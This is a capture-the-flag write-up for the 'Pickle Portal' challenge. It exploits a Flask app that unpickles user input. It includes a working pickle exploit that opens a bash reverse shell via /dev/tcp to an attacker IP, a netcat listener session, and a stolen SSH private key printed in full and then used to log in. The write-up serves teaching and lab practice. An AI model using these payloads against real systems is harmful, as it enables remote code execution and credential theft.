Pickle Portal – Yukthi CTF Prelims 2024 Write-up
Introduction The Pickle Portal Challenge offers an engaging test of Python and Linux skills through the exploration of Python’s Pickle serialization and deserialization mechanisms, coupled with Linux’s handling of bad file descriptors. This CTF challenge is designed to deepen participants’ technical understanding while encouraging practical problem-solving and source code analysis. Ideal for both beginners and experienced tech enthusiasts, it provides a comprehensive learning experience in programming vulnerabilities and system-level management, enhancing both coding proficiency and cybersecurity knowledge. What You’ll Learn Pickle deserialization File Descriptor Manipulation Reverse Shell Creation Cryptography and Encoding Linux Privilege Escalation Enumuration As part of the initial step in tackling the "Pickle Portal Challenge", we began by examining the source code provided in the brief. This was essential for understanding the underlying functionalities and potential vulnerabilities within the application. Nmap To further our investigation, we employed Nmap, a powerful network scanning tool, to discover any additional services that might be running on the target machine. After deploying the challenge environment, the IP address was provided, but specific service ports were not immediately apparent. To uncover all open ports on the server, we executed the following Nmap command: nmap -p- ip_address prasaanth2k@essentials:~$ nmap -p- 10.11.1.254 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-12 05:25 UTC Nmap scan report for bd209035ebd5c330f2c3a72a7cdac1d6.labs_frontend (10.11.1.254) Host is up (0.00010s latency). Not shown: 65534 closed tcp ports (conn-refused) PORT STATE SERVICE 94/tcp open objcall Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds Upon reviewing the results from the Nmap scan, it became clear that there was no direct indication of a service running on a port conventionally associated with ‘objcall’. This absence suggests that there might be a hidden or less obvious service operating on this port. Such findings often point to non-standard configurations or services that may have been intentionally obscured, potentially as a part of the challenge setup. Following your successful access to the service on the previously hidden port, your focus shifted to understanding how the service interacts with input data, particularly in the context suggested by the challenge name—serialization and deserialization using Python’s Pickle module. Observations from Interaction When you input test data text into the service, observing how it handles this input provides valuable insights into its underlying functionality. Given the context of Python’s Pickle serialization, there are a few key aspects to consider: Serialization: The service might be serializing the input data into a binary or text-based format that can be stored or transmitted. Look for signs that the data is being converted into a non-human-readable format or encoded in some way. Deserialization: Conversely, the service might deserialize provided data, which would involve taking previously serialized data and reconstructing it back to its original form or into an executable Python object. Input data Serialize Deserilize Source Code Review The Python Flask code utilizes the pickle module for serialization and deserialization of user input, without proper input sanitization. This opens a potential vector for executing arbitrary Python code on the server. Let’s dissect the key parts of the source: from flask import Flask, request, render_template import pickle import sys sys.path.append('/home/morty/app') import base64 application = app = Flask(__name__) # Secret portal gun object class PortalGun: def __reduce__(self): return (exec, ("<missed source>",)) @app.route('/') def index(): return render_template('index.html') @app.route('/serialize', methods=['POST']) def serialize(): data = request.form.get('data') try: serialized_data = base64.b64encode(pickle.dumps(data)).decode('utf-8') return render_template('serialized.html',serializeddata=serialized_data) except Exception as e: return str(e), 400 @app.route('/deserialize', methods=['POST']) def deserialize(): data = request.form.get('data') try: deserialized_data = pickle.loads(base64.b64decode(data)) result = str(deserialized_data) return render_template('deserialize.html',deserializeddata=deserialized_data) except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(host='0.0.0.0', port=94) The critical vulnerability here is the lack of validation on the data being deserialized. Utilizing the exec` function within the `__reduce__` method of the `PortalGun class allows for arbitrary command execution when deserializing data. Exploit Development import pickle, base64 class PortalGun: def __reduce__(self): import subprocess return (exec, ('''import os;os.popen("bash -c '/bin/bash -i >& /dev/tcp/10.11.1.200/5000 0>&1'").read()''',)) p = pickle.dumps(PortalGun()) dat = base64.b64encode(p).decode('ASCII') print(dat) This exploit code serializes the PortalGun object and encodes it in base64. This string can be used as input to the vulnerable deserialize endpoint to execute a reverse shell command. Exploitation Steps Payload Delivery: Submit the base64-encoded serialized data to the /deserialize endpoint of the application. Reverse Shell: Listen on the specified port (5000) to catch the reverse shell initiated by the deserialization of the malicious payload. prasaanth2k@essentials:~$ python3 exploit.py gASVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxJaW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2Jhc2ggLWMgInNoIC1pID4mIC9kZXYvdGNwLzEwLjEzLjAuMTMzLzQzMjYgMD4mMSInKZSFlFKULg== prasaanth2k@essentials:~$ nc -lvnp 4326 Listening on 0.0.0.0 4326 Connection received on 10.13.1.243 37248 sh: 0: can't access tty; job control turned off $ export TERM=xterm $ export SHELL=bash $ bash -i bash: cannot set terminal process group (44): Inappropriate ioctl for device bash: no job control in this shell morty@morty:~$ ls ls app memory_destroyer.c spicypickle.txt morty@morty:~$ cat spicypickle.txt cat spicypickle.txt 6347960100bfa2f79e270eb53872e51d.ninja morty@morty:~$ Foothold and Privilege Escalation Upon obtaining the reverse shell, further enumeration revealed an SSH private key and other sensitive information. Using the retrieved SSH key, secure access to the server was established using: morty@morty:~$ cd .ssh cd .ssh morty@morty:~/.ssh$ ls ls authorized_keys id_ecdsa id_ecdsa.pub morty@morty:~/.ssh$ cat id_ecdsa cat id_ecdsa —–BEGIN OPENSSH PRIVATE KEY—– b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQVoKCfmlW32m5VhNEaEwYfCQ/Sa4Kg Vr7bCjIjuR6gbpBlXIgwMoiKGsDZyIXQoUuikWrB4O+tJWoIXy39V9gtAAAAuIVTgVmFU4 FZAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBWgoJ+aVbfablWE 0RoTBh8JD9JrgqBWvtsKMiO5HqBukGVciDAyiIoawNnIhdChS6KRasHg760laghfLf1X2C 0AAAAgDgbpHEdQ3b4cwqOfwryj+l+VWcmUTleD0QUP84ru/3AAAAAabW9ydHlAbW9ydHku c2VsZm1hZGUubmluamEBAgMEBQY= —–END OPENSSH PRIVATE KEY—–morty@morty:~/.ssh$ prasaanth2k@essentials:~$ nmap -p- 10.11.2.13 Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-13 05:11 UTC Nmap scan report for bd209035ebd5c330f2c3a72a7cdac1d6.labs_frontend (10.11.2.13) Host is up (0.000094s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 94/tcp open objcall Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds Using SSH Private Key for Accessing the Server To securely access the server using an SSH private key obtained from the challenge, follow these steps: Set Up the Private Key Set Permissions: Ensure the private key file is only accessible to you: chmod 600 <private_key_file> Replace “““ with your actual private key file path. Connect via SSH: Use the private key to establish an SSH connection: ssh -i <private_key_file> morty@ip_address prasaanth2k@essentials:~$ chmod 600 id_ecdsa prasaanth2k@essentials:~$ ssh -i id_ecdsa morty@10.11.2.16 Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-102-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This …
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